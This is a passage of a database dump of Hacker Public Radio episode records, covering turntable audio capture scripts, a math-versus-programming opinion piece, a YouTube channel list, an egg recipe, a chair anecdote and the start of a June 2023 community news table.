(3641,'2022-07-18','Turntable audio capture Part 2',354,'I revise previous capture scripts','<h4 id=\"update-to-hpr-3507\">Update to HPR 3507</h4>\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3507\">hpr3507 :: USB Turntable fix and sound journey</a>  </p>\n<pre><code>record_capture_wav.sh\n#!/bin/bash\n\necho &quot;Record name?&quot;\nread record\necho &quot;Which side is this?&quot;\nread side\n\narecord --device=&#39;hw:CARD=CODEC,DEV=0&#39; --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav $record&quot;_Side_&quot;$side.wav\n</code></pre>\n<pre><code>record_capture_flac.sh\n#!/bin/bash\n\n echo &quot;Record name&quot;\n read record\n echo &quot;Which side is this?&quot;\n read side\n\narecord --device=&#39;hw:CARD=CODEC,DEV=0&#39; --rate=96000 --channels=2 --vumeter=stereo --duration=1500 --format=dat --file-type wav - | flac - -o $record&quot;_Side_&quot;$side.flac</code></pre>\n<p>Used hw:CARD=CODEC,DEV=0 derived from \'arecord -L\'</p>\n<p>hw:CARD=CODEC,DEV=0 USB Audio CODEC, USB Audio Direct hardware device without any conversions</p>\n<h4 id=\"arecord-manpage\">arecord manpage</h4>\n<pre><code>...\n\n-f --format=FORMAT\n\n    Sample format\n    Recognized sample formats are: S8 U8 S16_LE S16_BE U16_LE U16_BE S24_LE S24_BE U24_LE U24_BE S32_LE S32_BE U32_LE U32_BE FLOAT_LE FLOAT_BE\n    FLOAT64_LE FLOAT64_BE IEC958_SUBFRAME_LE IEC958_SUBFRAME_BE MU_LAW A_LAW IMA_ADPCM MPEG GSM SPECIAL S24_3LE S24_3BE U24_3LE U24_3BE S20_3LE\n    S20_3BE U20_3LE U20_3BE S18_3LE S18_3BE U18_3LE\n\n    Some of these may not be available on selected hardware\n    The available format shortcuts are:\n\n    -f cd (16 bit little endian, 44100, stereo) [-f S16_LE -c2 -r44100]\n    -f cdr (16 bit big endian, 44100, stereo) [-f S16_BE -c2 -f44100]\n    -f dat (16 bit little endian, 48000, stereo) [-f S16_LE -c2 -r48000]\n\n    If no format is given U8 is used.\n\n-d, --duration=#\n    Interrupt after # seconds. A value of zero means infinity. The default is zero, so if this option is omitted then the arecord process will run until it is killed.\n\n-t, --file-type TYPE\n    File type (voc, wav, raw or au). If this parameter is omitted the WAVE format is used.\n\n...\n\n</code></pre>\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=2881\">hpr2881 :: Automatically split album into tracks in Audacity</a>  </p>\n<h4 id=\"changes-as-of-5-20-2022\">Changes as of 5-20-2022</h4>\n<ul>\n<li>Old way : Select the entire track and select Analyze &gt; Silence Finder</li>\n<li>Update : Select the entire track and select Analyze &gt; Label Sounds</li>\n</ul>\n<p><em>Label sounds menu</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_1.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_1_thumbnail.png\" alt=\"Label sounds menu\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\n<p><em>Silence detection options</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3641/audacity_screenshot_2.png\" alt=\"Silence detection options\" />  </p>\n<p>HowTo: Split MP3s by silence detection using mp3splt</p>\n<p><a href=\"https://blog.dornea.nu/2012/04/01/howto-split-mp3s-by-silence-detection-using-mp3splt/\" class=\"uri\">https://blog.dornea.nu/2012/04/01/howto-split-mp3s-by-silence-detection-using-mp3splt/</a></p>\n<p>mp3splt -s -p th=-40,min=6,rm</p>\n<p>Parameters explanation:</p>\n<pre><code>&#39;-s&#39;: silence mode; activate silence detection\n&#39;-p&#39;: specify arguments for the silence mode\n&#39;th=-40&#39;: threshold level (dB) to be considered silence\n&#39;min=6&#39;: minimum number of seconds to be considered as splitpoint\n&#39;rm&#39;: remove silence from splitted files</code></pre>\n<h4 id=\"what-worked-for-me\">What worked for me</h4>\n<p>mp3splt -s -p th=-30,min=0.5,rm $1</p>\n<p>Fix tracks not splitting</p>\n<ul>\n<li>Manually seek the silence in mplayer/mpv</li>\n<li>Note the silent areas</li>\n<li>Cut with ffmpeg ie.\n<ul>\n<li>ffmpeg -i track.flac -ss 00:03:05 -to 00:06:00 -acodec copy track-cut1.flac</li>\n</ul></li>\n</ul>\n<h4 id=\"references\">References</h4>\n<p>How to rip vinyl in Manjaro<br />\n<a href=\"https://forum.manjaro.org/t/howto-rip-vinyl-lps-in-manjaro/83300\" class=\"uri\">https://forum.manjaro.org/t/howto-rip-vinyl-lps-in-manjaro/83300</a></p>\n<p>mp3splt<br />\n<a href=\"https://mp3splt.sourceforge.net\" class=\"uri\">https://mp3splt.sourceforge.net</a></p>\n<h5 id=\"man-pages\">Man pages</h5>\n<p><a href=\"https://mp3splt.sourceforge.net/mp3splt_page/documentation/man.html\" class=\"uri\">https://mp3splt.sourceforge.net/mp3splt_page/documentation/man.html</a></p>\n<p><a href=\"https://manpages.ubuntu.com/manpages/xenial/en/man1/mp3splt.1.html\" class=\"uri\">https://manpages.ubuntu.com/manpages/xenial/en/man1/mp3splt.1.html</a></p>\n<h5 id=\"youtube-downloader\">Youtube downloader</h5>\n<p><a href=\"https://ytgram.com/en/youtube-video-downloader\" class=\"uri\">https://ytgram.com/en/youtube-video-downloader</a></p>\n<p><em>Screen capture of youtube link download on YTGram</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3641/ytgram.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3641/ytgram_thumbnail.png\" alt=\"Screen capture of youtube link download on YTGram\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\n<h5 id=\"sample-album\">Sample album</h5>\n<p>J&#x332;o&#x332;urney - D&#x332;eparture&#x332; (Full Album) 1980<br />\n<br />\n<a href=\"https://www.youtube.com/watch?v=eoG9U8n0dWo\" class=\"uri\">https://www.youtube.com/watch?v=eoG9U8n0dWo</a></p>\n',318,0,0,'CC-BY-SA','audio, capture, vinyl, audacity, mp3splt, arecord, ffmpeg, wav, flac',0,0,1),
(3606,'2022-05-30','Infinity is just a big number and other proofs',561,'Ken proves Mathematically that programming is not easier with maths.','<h1 id=\"response-to-hpr3568\">Response to hpr3568</h1>\n<pre><code>  Title         PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy\n  Artist        BlacKernel\n  Album         Hacker Public Radio\n  Comment       https://hackerpublicradio.org Clean; in This episOde, blackeRnel Tries to help yoU undeRstand Enough about math and programming The license is CC-BY-SA\n  Date          2022\n  Track Number  3568\n  Genre         Podcast\n</code></pre>\n<p><a href=\"https://en.wikipedia.org/wiki/Mathematical_joke\">https://en.wikipedia.org/wiki/Mathematical_joke</a><br />\nMathematicians are also shown as averse to making hasty generalizations from a small amount of data, even if some form of generalization seems plausible:</p>\n<pre><code>An astronomer, a physicist and a mathematician are on a train in Scotland.\nThe astronomer looks out of the window, sees a black sheep standing in\na field, and remarks, &quot;How odd. All the sheep in Scotland are black!&quot; &quot;No,\nno, no!&quot; says the physicist. &quot;Only some Scottish sheep are black.&quot; The\nmathematician rolls his eyes at his companions&#39; muddled thinking and says,\n&quot;In Scotland, there is at least one sheep, at least one side of which\nappears to be black from here some of the time.&quot;[Stewart, Ian (1995).\nConcepts of Modern Mathematics. ISBN 9780486134956.]\n</code></pre>\n<p><a href=\"https://en.wikipedia.org/wiki/Mathematical_proof\">https://en.wikipedia.org/wiki/Mathematical_proof</a></p>\n<pre><code>A mathematical proof is an inferential argument for a mathematical\nstatement, showing that the stated assumptions logically guarantee the\nconclusion.\n</code></pre>\n<h2 id=\"stated-assumptions\">Stated assumptions</h2>\n<ul>\n<li><p><a href=\"https://nixnet.social/objects/bc9d7dd8-66a5-4aae-ab21-6f77ad4191d3\">https://nixnet.social/objects/bc9d7dd8-66a5-4aae-ab21-6f77ad4191d3</a></p>\n<pre><code>  BlacKernel @BlacKernel@nixnet.social Mar 21, 2022, 19:01.\n  Saying you don&#39;t need to know math to do programming is like saying\n  you don&#39;t need to know how to read in order to write. Technically\n  true, but it makes it way easier.\n</code></pre></li>\n</ul>\n<p>Simplifying the statement</p>\n<pre><code>  Knowing math makes programming way easier.\n</code></pre>\n<p>Rearrange and problem</p>\n<pre><code>There are no humans that ever existed or will ever exist that will not\nfind programming easier having a knowledge of maths.\n</code></pre>\n<p>I exist. I do not find programming easier despite my knowledge of maths.</p>\n<p>Q.E.D.</p>\n<h1 id=\"other-points\">other points</h1>\n<p>\"Ability to think logically - which is what math is.\"</p>\n<p>This assumes that math is the only field where the ability to think logically exists. Math is a subset of logical thinking and not the other way around. I can think of hundreds of occupations that require logical thinking that do not require any maths. It would be difficult to argue this point as it could be argued, as most people are exposed to counting no matter what level of literacy they may have access to. So let us refer to studies with crows that shows that they do think logically - despite any math knowledge.</p>\n<ul>\n<li><a href=\"https://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0092895\">Using the Aesop\'s Fable Paradigm to Investigate Causal Understanding of Water Displacement by New Caledonian Crows</a></li>\n<li><a href=\"https://users.ox.ac.uk/~kgroup/tools/tool_manufacture.shtml\">Tool Manufacture in Crows</a></li>\n</ul>\n<h1 id=\"programming-is-\">Programming is ...</h1>\n<p>The wikipeda entry has 19 other definitions for programming but OK.<br />\n<a href=\"https://en.wikipedia.org/wiki/Program\">https://en.wikipedia.org/wiki/Program</a></p>\n<h2 id=\"asymmetric-literacy\">Asymmetric literacy</h2>\n<p>\"Is an example where you can read or write in a specific language but not necessarily doing both.\"</p>\n<p>Chinese written language can be understood by multiple spoken languages. However the nuance is greater if the writer and reader shared the same language/understanding.</p>\n<pre><code>&quot;Because math and computer are the same thing under the hood if you\nunderstand it then you understand the programming a lot better. But if you\nuse some other analogy .. you&#39;ll write programs that are perfectly fine\nand perfectly work, but it won&#39;t be as exact or as nuanced as it could be\nif you also knew math. That&#39;s what I was saying.&quot;\n</code></pre>\n<ul>\n<li><p>Computer CPU has a bunch of instruction sets in it. Tells the computer what transistor operation to perform</p></li>\n<li><p>Logical extension of the instruction set</p></li>\n<li><p>There is nothing in programming that is not covered by the instruction set.</p></li>\n<li><p>Same way in math depends on axioms</p></li>\n<li><p>\"They are the same thing, .. the exact same process\"</p>\n<p>\"Because they are the same thing under the hood, if you understand how to do math, then you\'ll understand how to make your programs better, because you can write your programs in a way that reflect the underlying structure of the computer which will make your programs run more efficiently as giving you insight into how errors may be occurring etc etc etc.\"</p></li>\n</ul>\n<p>That may have been valid in the pioneering days of computers if we just have one chip with one instruction set. Nowadays programs run on systems that run in Java Virtual Machines, which run on docker containers, running on Virtual Machines, spread across multiple clusters, finally hitting different processors each with their own different instruction sets, then down to different cores.</p>\n<p>Turtles all the way down.</p>\n<p>No they are not. Math axioms do not change from chip manufacturer to chip manufacturer.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures\">https://en.wikipedia.org/wiki/Comparison_of_instruction_set_architectures</a></p>\n<h2 id=\"axioms\">Axioms</h2>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_axioms\">https://en.wikipedia.org/wiki/List_of_axioms</a></p>\n<ul>\n<li><p>Axiom of extensionality</p></li>\n<li><p>Axiom of empty set</p></li>\n<li><p>Axiom of pairing</p></li>\n<li><p>Axiom of union</p></li>\n<li><p>Axiom of infinity</p></li>\n<li><p>Axiom schema of replacement</p></li>\n<li><p>Axiom of power set</p></li>\n<li><p>Axiom of regularity</p></li>\n<li><p>Axiom schema of specification</p>\n<pre><code>  &quot;You take Logical Deductions from those axioms, that&#39;s what math is.\n  Math is a series of logical deductions or proofs utilizing previous\n  proofs or axioms. That&#39;s all math is. Can be in different forms.&quot;\n</code></pre></li>\n</ul>\n<p><a href=\"https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms\">https://en.wikipedia.org/wiki/Euclidean_geometry#Axioms</a></p>\n<h3 id=\"axiom-of-infinity\">Axiom of infinity</h3>\n<p>Flawed assumes infinity exists. I reject this as the proof is take a big number +1 keep adding to it. What you actually get is a even bigger integer and not infinity.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Coastline_paradox\">https://en.wikipedia.org/wiki/Coastline_paradox</a></p>\n<p>Infinity is our inability to think big, and math reflecting that shows a flaw in maths.</p>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker:com+=fb\\:-\n-->\n',30,0,0,'CC-BY-SA','math,programming,infinity',0,0,1),
(3621,'2022-06-20','Watching YouTube in 2022',1236,'A few of the channels that distracted me through COVID-19 and beyond','<article>\n<h2 id=\"another-youtube-list-yes--\">Another YouTube list? Yes ;-)</h2>\n<p>I found myself watching YouTube a lot during the worst of the pandemic, and as I saw the world falling apart in many ways. YouTube has been something of a lifeline in the past years, helping me find stuff I actually want to watch, which (mostly) doesn’t have all the fake crap that’s on TV. I must say though, that I loathe and detest the apparent trend towards <code>#shorts</code> - I really don’t see the point of them!</p>\n<p>The channels I chose at this time were to help me understand something of what was going on in the pandemic and in world politics, and a few gave me some distractions from it all.</p>\n<p>This is a fairly short list that I’m sharing; I could list quite a few more, but I thought some of these recommendations might be of interest to the HPR audience.</p>\n<h2 id=\"channels\">Channels</h2>\n<ol type=\"1\">\n<li><p><font size=\"+1\"><b>Just Have a Think</b></font></p>\n<ul>\n<li><p>Dave Borlace, the host, talks about climate and sustainable energy.</p></li>\n<li><p>The episodes are well researched and explained clearly, and I find they can often give out some hope that we can lessen the effects of the climate change that is certainly coming.</p></li>\n<li><p>Recent episodes have covered: the <a href=\"https://www.ipcc.ch/\" title=\"The Intergovernmental Panel on Climate Change (IPCC) is the United Nations body for assessing the science related to climate change.\">IPCC</a> <em>Survival Guide</em>, plastic eating enzymes and CO<sub>2</sub> removal from the oceans.</p></li>\n<li><p><a href=\"https://www.youtube.com/c/JustHaveaThink\" class=\"uri\">https://www.youtube.com/c/JustHaveaThink</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Undecided with Matt Ferrell</b></font></p>\n<ul>\n<li><p>Matt Ferrell, the host, looks at how smart and sustainable technology impacts our lives.</p></li>\n<li><p>Another clear-sighted and well researched look at technology, particularly in the current world context. There’s also a podcast <em>Still To Be Determined</em> where Matt and his brother Sean have a conversation following on from the shows on YouTube.</p></li>\n<li><p>Recent episodes have covered:</p>\n<ul>\n<li>An improved method of generating <em>green</em> hydrogen</li>\n<li>Using machine learning to boost renewable energy generation and reduce costs of wind farms</li>\n<li>Plastic recycling is not as we’ve been led to believe.</li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/UndecidedMF\" class=\"uri\">https://www.youtube.com/c/UndecidedMF</a> (with the podcast <a href=\"https://feeds.transistor.fm/still-to-be-determined\" class=\"uri\">https://feeds.transistor.fm/still-to-be-determined</a>)</p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Second Thought</b></font></p>\n<ul>\n<li><p>A channel devoted to education and analysis of current events from a Socialist perspective.</p></li>\n<li><p>My Socialist, anti-Capitalist sympathies fit well with the contents of this channel, and I’m learning from it. It’s very well done, and has obviously taken some effort to produce.</p></li>\n<li><p>Some recent episode titles:</p>\n<ul>\n<li><em>What if we just stopped working?</em></li>\n<li><em>How Consulting firms secretly run entire countries</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/SecondThought\" class=\"uri\">https://www.youtube.com/c/SecondThought</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Democracy at Work</b></font></p>\n<ul>\n<li><p>Channel description: <em>Democracy at Work is a non-profit 501(c)3 that produces media and live events. Our work analyzes capitalism critically as a systemic problem and advocates for democratizing workplaces as part of a systemic solution. We seek a stronger, fuller democracy – in our politics and culture as well as in our economy - based on workers’ equal collaboration and shared leadership inside enterprises and throughout society.</em></p></li>\n<li><p>The insights shared by Prof. Richard D. Wolff in particular help me to understand a lot of what is going wrong in many countries in the world, though he concentrates on the USA. You will hear him speaking at events, on the radio in the USA and on other YouTube channels and podcasts. There are other presenters on the channel, particularly: Dr. Harriet Fraad (<em>Capitalism Hits Home</em>) and Prof. David Harvey (<em>Anti-Capitalist Chronicles</em>)</p></li>\n<li><p><a href=\"https://www.youtube.com/c/democracyatwrk\" class=\"uri\">https://www.youtube.com/c/democracyatwrk</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>AT Restoration</b></font></p>\n<ul>\n<li><p>A furniture restorer, Ahti, located in Estonia</p></li>\n<li><p>The quality of the workmanship is wonderful, as can be seen when he turns what look like ruined pieces of furniture into beautiful items. Some restorations are for clients, some for himself.</p></li>\n<li><p>Recent episodes have covered:</p>\n<ul>\n<li>Restoration of an Art Noveau chair</li>\n<li>A mirror seat with water damage - the client doesn’t want it to look <strong>new</strong> though</li>\n<li>A 19<sup>th</sup> century coffee grinder</li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/ATRestoration\" class=\"uri\">https://www.youtube.com/c/ATRestoration</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Marty T</b></font></p>\n<ul>\n<li><p>From the channel description: <em>I started this channel to share my ideas, creations, adventures and to show people how easy it is to live off the grid &amp; save money.</em></p></li>\n<li><p>Marty, the host and his family live in the north of the south island of New Zealand (Marlborough Sounds<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a>). Marty shows how he recovers old abandoned machines like tractors and excavators and puts them to use on his land. They are off-grid and their electricity comes from a turbine he built from an adapted scrap washing machine. I find it fascinating to watch the resourcefulness of the people in this part of the world.</p></li>\n<li><p>Some highlights in the past year:</p>\n<ul>\n<li><em>Salvaging an Abandoned TD9 Bulldozer from the Forest. Will it start??</em></li>\n<li><em>Salvaging an Abandoned Vintage Tractor - David Brown 25</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/MartyT\" class=\"uri\">https://www.youtube.com/c/MartyT</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Jeff Geerling</b></font></p>\n<ul>\n<li><p>Lots of stuff of a technical nature, often involving the Raspberry Pi, but not exclusively.</p></li>\n<li><p>Lots of great projects and ideas to learn from. For example, he has championed the <em>Turing Pi</em> a board which can take multiple Raspberry Pi Compute Modules to form a Pi cluster.</p></li>\n<li><p>Some highlights in the past few months:</p>\n<ul>\n<li><em>Top 10 Raspberry Pi Projects for 2022</em></li>\n<li><em>The Petabyte Pi Project</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/JeffGeerling\" class=\"uri\">https://www.youtube.com/c/JeffGeerling</a></p></li>\n</ul></li>\n<li><p><font size=\"+1\"><b>Ocean Conservation Namibia</b></font></p>\n<ul>\n<li><p>From the description: <em>Ocean Conservation Namibia is dedicated to the protection of Namibia’s marine wildlife. OCN was started by Naude and Katja Dreyer in January 2020 to create global awareness of ocean and plastic pollution and its horrible and avoidable impact on animals and specifically seals.</em></p></li>\n<li><p>The team manage to produce a brief daily video where they rescue seals which are entangled in plastic and other items. The seals find these things, such as spools or bundles of fishing line, and tend to play with them, and eventually the loop or spool gets stuck around their neck, which can cut them badly and eventually kill them.</p></li>\n<li><p>Recent highlights have been:</p>\n<ul>\n<li><em>Rescuers Use SAW To Save Baby Seal</em></li>\n<li><em>Hook in Seal’s Eye Tied To Another Seal!</em></li>\n<li><em>Seal Entangled in Ball of Fishing Line</em></li>\n</ul></li>\n<li><p><a href=\"https://www.youtube.com/c/OceanConservationNamibia\" class=\"uri\">https://www.youtube.com/c/OceanConservationNamibia</a></p></li>\n</ul></li>\n</ol>\n<p>I hope you find these channels interesting and useful yourself.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><p><a href=\"https://www.ipcc.ch/\">IPCC</a>: The Intergovernmental Panel on Climate Change (IPCC) is the United Nations body for assessing the science related to climate change.</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Richard_D._Wolff\">Richard D. Wolff</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/David_Harvey\">David W. Harvey</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Marlborough_Sounds\">Marlborough sounds, New Zealand</a>: Wikipedia page</p></li>\n<li><p><a href=\"https://en.wikipedia.org/wiki/Fur_seal\">Fur seals</a>: Wikipedia page</p></li>\n</ul>\n<section class=\"footnotes\" role=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>In the audio I said Marlborough Sounds was in the North West of the South Island of NZ, but in fact it’s in the North East. See the Wikipedia article for more information.<a href=\"#fnref1\" class=\"footnote-back\" role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,106,1,'CC-BY-SA','YouTube,channel',0,0,1),
(3607,'2022-05-31','The Best Eggs in the World',799,'Emergency Show: The Best Eggs in the World','<h3>This is an Emergency show</h3>\r\n<p>\r\nThis show is from the emergency show pool.<br />\r\nYou are hearing this because there was a free slot that was not filled.<br />\r\nHacker Public Radio is a community effort, that will only continue if people like you submit shows.<br />\r\nIf you have not submitted a show this year, then please record an introduction about yourself, and how you got into tech.<br />\r\nThen post it to, Hacker Public Radio dot org forward slash, upload.\r\n</p>\r\n<h2>The Best Eggs in the World</h2>\r\n<p>\r\nToday\'s show is brought to you by pokey\r\n</p>\r\n<ul>\r\n<li>1/6 large onion</li>\r\n<li>3-5 medium mushrooms</li>\r\n<li>2 eggs</li>\r\n<li>1-2 slices of cheese</li>\r\n<li>2 pieces of toast</li>\r\n<li>Garlic Powder, Salt, Pepper, butter to taste.</li>\r\n</ul>\r\n\r\n<p>\r\nIf you have comments, please leave them in the comments section for the show here at https://hackerpublicradio.org\r\nIf you had submitted a real episode of HPR, you wouldn\'t have found this in your feed today. :-P\r\n</p>\r\n',128,93,0,'CC-BY-SA','Emergency Show,Eggs,Cooking',0,0,1),
(3613,'2022-06-08','Man buys cheap Adirondack chair',453,'An anecdote about buying a cheap lawn chair and trying to get a part replaced.','<p>Part C (left front leg), one 30cm piece of unfinished fir, with a sort of fan-shaped piece attached with 2 screws, is duly replaced. The customer has been served. The prize is a wobbly chair and, in a few months time, some firewood. What we learned? I\'ll build my own chair next time.</p>\n',399,0,0,'CC-BY-SA','\"late capitalism\"',0,0,1),
(3891,'2023-07-03','HPR Community News for June 2023',6145,'HPR Volunteers talk about shows released and comments posted in June 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3869/index.html\" target=\"_blank\">3869</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3869/index.html\" target=\"_blank\">5 minute war game</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3870/index.html\" target=\"_blank\">3870</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3870/index.html\" target=\"_blank\">Texas</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html\" target=\"_blank\">3871</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html\" target=\"_blank\">HPR Community News for May 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html\" target=\"_blank\">3872</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html\" target=\"_blank\">Sgoti update with replies.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3873/index.html\" target=\"_blank\">3873</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3873/index.html\" target=\"_blank\">Nextcloud instance updating</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0273.html\" target=\"_blank\">ToeJet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3874/index.html\" target=\"_blank\">3874</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3874/index.html\" target=\"_blank\">2022-2023 New Years Show Episode 9</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3875/index.html\" target=\"_blank\">3875</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3875/index.html\" target=\"_blank\">Parlons Linux Season 1 Episode 7, le sticky bit</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html\" target=\"_blank\">3876</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3876/index.html\" target=\"_blank\">Recording An Episode For Hacker Public Radio</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0419.html\" target=\"_blank\">Ryuno-Ki</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3877/index.html\" target=\"_blank\">3877</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3877/index.html\" target=\"_blank\">KeePass X.C. audit review.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html\" target=\"_blank\">3878</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html\" target=\"_blank\">Linux commands to gather information about your system</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0129.html\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html\" target=\"_blank\">3879</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html\" target=\"_blank\">HPR at Hillend</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html\" target=\"_blank\">3880</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html\" target=\"_blank\">Installing a Google Nest Thermostat</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3881/index.html\" target=\"_blank\">3881</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3881/index.html\" target=\"_blank\">Xplane_VatSim_2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3882/index.html\" target=\"_blank\">3882</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3882/index.html\" target=\"_blank\">Alternatives to the cd command</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html\" target=\"_blank\">3883</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3883/index.html\" target=\"_blank\">Emergency Show: How to demonstrate the power of condensing steam</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0282.html\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html\" target=\"_blank\">3884</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html\" 